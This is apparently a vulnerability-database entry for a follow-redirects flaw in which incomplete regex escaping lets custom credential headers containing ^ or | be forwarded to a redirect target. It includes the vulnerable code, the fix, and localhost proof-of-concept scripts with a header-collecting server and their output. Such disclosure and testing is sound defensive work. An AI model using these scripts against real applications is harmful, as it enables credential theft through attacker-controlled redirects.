Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

CVE-2026-111755 — follow-redirects

Fix: follow-redirects/follow-redirects@080a76d

CVE-2026-111755 is a CWE-185 vulnerability in follow-redirects. A fix is available for follow-redirects — see the affected versions and patch details below.

follow-redirects sensitiveHeaders regex escaping can expose credential headers

Also known asGHSA-8r9p-f939-6h3c
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-111755.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs37th percentile — riskier than 37% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

2Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
follow-redirectsnpm
67.7Mdownloads / week

Description

Summary

follow-redirects 1.16.0 introduced the sensitiveHeaders option (the fix for CVE-2026-40895 / GHSA-r4q5-vmmm-2653), which lets an application declare extra header names that must be removed when a redirect crosses to a different host or downgrades protocol. The filter is a single case-insensitive regular expression built by concatenating the declared header names into an alternation after passing each through escapeRegex. escapeRegex escapes only a partial set of metacharacters and leaves ^, |, [, {, and } unescaped. Header names may legitimately contain ^ and | (both are valid RFC 9110 token characters that Node accepts and sends), and for a declared name containing either, the generated pattern can never match the intended header. As a result, an application that adopts this option to protect a custom credential header, then follows an attacker-controlled cross-origin redirect, forwards that credential to the attacker with no error or warning, while believing it is protected. The failure is silent: the protection simply does not exist for the affected names. The built-in list (Authorization, Proxy-Authorization, Cookie) contains no metacharacters and is not affected by this defect.

Details

The filter is constructed once, in the RedirectableRequest constructor at index.js:118-120:

this._headerFilter = new RegExp("^(?:" +
    sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join("|") +
  ")$", "i");

escapeRegex at index.js:703-705:

function escapeRegex(regex) {
  return regex.replace(/[\]\\/()*+?.$]/g, "\\$&");   // escapes ] \ / ( ) * + ? . $  -- NOT ^ | [ { }
}

The character class escapes ], \, /, (, ), *, +, ?, ., and $. It omits ^, |, [, {, and }. Of these, Node's http.ClientRequest accepts ^ and | in header names (they are valid tchar values under RFC 9110) and rejects [, {, } with ERR_INVALID_HTTP_TOKEN, so ^ and | are the reachable vectors for a silent credential leak. Separately, although [, {, } cannot appear as live header names, declaring a sensitiveHeaders entry that contains one of them injects an unbalanced token into the alternation (for example an unterminated character class), so the filter RegExp throws a SyntaxError in the RedirectableRequest constructor and the request fails to start. That case is a loud request-time crash from the same incomplete-escaping root cause rather than a silent bypass, and the canonical escaper below fixes it as well.

For a declared sensitive header name containing an unescaped metacharacter, the alternation is broken in a fail-open way:

  • A name containing ^, for example X-Api^Key, yields the alternative X-Api^Key inside the pattern. The ^ becomes a mid-pattern start-of-string anchor, so the alternative can never match any real header name. test("X-Api^Key") returns false, and the header is not stripped.
  • A name containing |, for example X-Token|Secret, is split into two separate alternatives X-Token and Secret. The real header X-Token|Secret is never matched (not stripped), while unrelated headers literally named X-Token or Secret would be stripped instead.

The generated filter source, reproduced from the exact library logic, is:

^(?:Authorization|Proxy-Authorization|Cookie|X-Api^Key|X-Token|Secret|X-Control-Key)$

Direct matching results against this filter: X-Api^Key -> false, X-Token|Secret -> false, X-Control-Key (normal name) -> true, and the split-off X-Token -> true and Secret -> true (collateral wrong-stripping). The built-ins Authorization, Proxy-Authorization, Cookie all -> true.

Secondary, related weakness (filter snapshot not refreshed after beforeRedirect): the filter is built once at construction and applied at index.js:490, which runs before the beforeRedirect(this._options, ...) hook and the subsequent _sanitizeOptions at index.js:494-506. Because the strip happens before the hook and this._headerFilter is never rebuilt, any entry a caller adds to options.sensitiveHeaders inside beforeRedirect is silently ignored. This facet is lower severity: mutating sensitiveHeaders inside beforeRedirect is not a documented usage of the option (the documented path is the request option), so it is best treated as a hardening item bundled with the escaping fix rather than an independent control bypass. It is included here because both issues undermine the same control and share a remediation.

Suggested remediation: two changes close both facets.

  1. Escape the complete set of regular-expression metacharacters:
function escapeRegex(str) { return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); }

This was verified to restore correct matching for all affected names while preserving the built-in matches.

  1. Build the filter at strip time, or rebuild it after the beforeRedirect hook re-sanitizes options, so entries added inside the hook take effect. For example, replace the cached this._headerFilter with a this._getHeaderFilter() that constructs the RegExp from the current this._options.sensitiveHeaders on each redirect.

Additionally, since header names have a strict grammar, consider validating each entry of options.sensitiveHeaders against the RFC 9110 token character set and throwing an explicit error on invalid names, so misconfiguration fails loudly. Add a unit test asserting that every declared name is actually matched by the generated filter; the current suite only exercises metacharacter-free names (Sensitive-A, x-sensitive-b), which is why the defect passes CI.

References:

PoC

Environment: Node.js v24.18.0 on Windows 11. Run each script from a checkout of follow-redirects at 1.16.0 so that require("./index.js") resolves to the library under test.

Facet 1, metacharacter header names, leak.js:

var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
  req.resume();
  res.writeHead(302, { Location: "http://127.0.0.1:45902/" });   // cross-origin (different port)
  res.end();
});
var collector = http.createServer(function (req, res) {
  res.end(JSON.stringify(req.headers));                          // attacker-controlled target
});
redirector.listen(45901, "127.0.0.1", function () {
  collector.listen(45902, "127.0.0.1", function () {
    followRedirects.http.request({
      hostname: "127.0.0.1", port: 45901, path: "/",
      headers: {
        "X-Api^Key":      "SECRET-LEAKED-1",     // declared sensitive, name contains ^
        "X-Token|Secret": "SECRET-LEAKED-2",     // declared sensitive, name contains |
        "X-Control-Key":  "SHOULD-BE-STRIPPED",  // declared sensitive, normal name (control)
        "Authorization":  "Bearer BUILTIN-CTL"   // built-in list (control)
      },
      sensitiveHeaders: ["X-Api^Key", "X-Token|Secret", "X-Control-Key"]
    }, function (res) {
      var body = ""; res.on("data", function (c) { body += c; });
      res.on("end", function () {
        var h = JSON.parse(body);
        console.log("X-Api^Key      :", h["x-api^key"] || "(stripped)");
        console.log("X-Token|Secret :", h["x-token|secret"] || "(stripped)");
        console.log("X-Control-Key  :", h["x-control-key"] || "(stripped - OK)");
        console.log("Authorization  :", h["authorization"] || "(stripped - OK)");
        redirector.close(); collector.close();
      });
    }).end();
  });
});

Observed output (1.16.0):

X-Api^Key      : SECRET-LEAKED-1          <- credential LEAKED to redirect target
X-Token|Secret : SECRET-LEAKED-2          <- credential LEAKED to redirect target
X-Control-Key  : (stripped - OK)          <- control: option works for normal names
Authorization  : (stripped - OK)          <- control: built-in list works

The two controls stripping correctly in the same run prove the strip branch executed and only the metacharacter names defeat the filter.

Root-cause and fix verification (pure regex logic, no network):

var builtin = ["Authorization", "Proxy-Authorization", "Cookie"];
function escCurrent(s) { return s.replace(/[\]\\/()*+?.$]/g, "\\$&"); }         // library's escaper
function escFixed(s)   { return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); }      // canonical escaper
function build(esc, d) { return new RegExp("^(?:" + builtin.concat(d).map(esc).join("|") + ")$", "i"); }
var declared = ["X-Api^Key", "X-Token|Secret", "X-Control-Key"];
var cur = build(escCurrent, declared), fix = build(escFixed, declared);
["X-Api^Key","X-Token|Secret"].forEach(n => console.log("current", n, cur.test(n)));  // both false
["X-Api^Key","X-Token|Secret"].forEach(n => console.log("fixed  ", n, fix.test(n)));  // both true
["X-Token","Secret"].forEach(n => console.log("collateral", n, cur.test(n)));         // both true (wrong)

Observed: current filter returns false for both metacharacter names and true for the unrelated X-Token and Secret; the fixed filter returns true for all declared names and still true for the built-ins.

Reachability of the vectors:

node -e 'var http=require("http");["X-A^B","X-A|B","X-A[B","X-A{B","X-A}B"].forEach(function(n){try{var r=http.request({host:"127.0.0.1",port:1});r.setHeader(n,"v");r.destroy();console.log(n,"ACCEPTED");}catch(e){console.log(n,"REJECTED",e.code);}});'

Observed: X-A^B and X-A|B ACCEPTED; X-A[B, X-A{B, X-A}B REJECTED with ERR_INVALID_HTTP_TOKEN.

Facet 2, entry declared inside beforeRedirect, leak2.js:

var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
  res.writeHead(302, { Location: "http://127.0.0.1:46202/" }); res.end();
});
var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });
redirector.listen(46201, "127.0.0.1", function () {
  collector.listen(46202, "127.0.0.1", function () {
    followRedirects.http.request({
      hostname: "127.0.0.1", port: 46201, path: "/",
      headers: { "X-Late": "LATE-DECLARED-VALUE" },
      beforeRedirect: function (options) { options.sensitiveHeaders.push("X-Late"); }
    }, function (res) {
      var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () {
        console.log("X-Late forwarded to redirect target:", JSON.parse(body)["x-late"] || "(stripped)");
        redirector.close(); collector.close();
      });
    }).end();
  });
});

Observed output (1.16.0): X-Late forwarded to redirect target: LATE-DECLARED-VALUE (the late-declared name is not stripped).

Impact

This is an information-disclosure vulnerability: silent failure of the sensitiveHeaders cross-origin stripping control for affected header names. Who is impacted: any application, or upstream library, that adopts the sensitiveHeaders option to protect a custom credential-bearing header whose name contains ^ or |, and that follows a redirect controlled or compromised by an attacker. When triggered, the declared header value (typically an API token or other bearer credential) is disclosed to the attacker-controlled destination, silently, while the application believes the header is protected. As with the array-form finding, if the redirect downgrades HTTPS to HTTP, the credential also transits in cleartext. Downstream exposure extends beyond the library: any application or wrapper that adopts the sensitiveHeaders option and declares a metacharacter-bearing header name inherits the same silent bypass. axios delegates redirect handling to follow-redirects (see GHSA-r4q5-vmmm-2653), so axios-based stacks are affected wherever this option reaches the library. The built-in protected headers are unaffected.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmfollow-redirects≥ 1.16.0&&< 1.16.11.16.1npm install follow-redirects@1.16.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for follow-redirects, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update follow-redirects to 1.16.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-111755 is resolved across your whole dependency graph.

  3. Workarounds

    Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate
ProductFixed inAdvisory
Red Hat Hardened Imagesgrafana12-4-main-12.4.13-0.3.hum1RHSA-2026:88478
Red Hat Hardened Imagesgrafana13-1-main-13.1.8-0.4.hum1RHSA-2026:88537
Red Hat Hardened Imagesgrafana13-2-main-13.2.4-0.3.hum1RHSA-2026:88541

Frequently Asked Questions

### Summary follow-redirects 1.16.0 introduced the `sensitiveHeaders` option (the fix for CVE-2026-40895 / GHSA-r4q5-vmmm-2653), which lets an application declare extra header names that must be removed when a redirect crosses to a different host or downgrades protocol. The filter is a single case-insensitive regular expression built by concatenating the declared header names into an alternation after passing each through `escapeRegex`. `escapeRegex` escapes only a partial set of metacharacters and leaves `^`, `|`, `[`, `{`, and `}` unescaped. Header names may legitimately contain `^` and `|`
O3 Security · Impact-Aware SCA

Is CVE-2026-111755 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-111755: follow Info Disclosure — Fixed in 1.16.1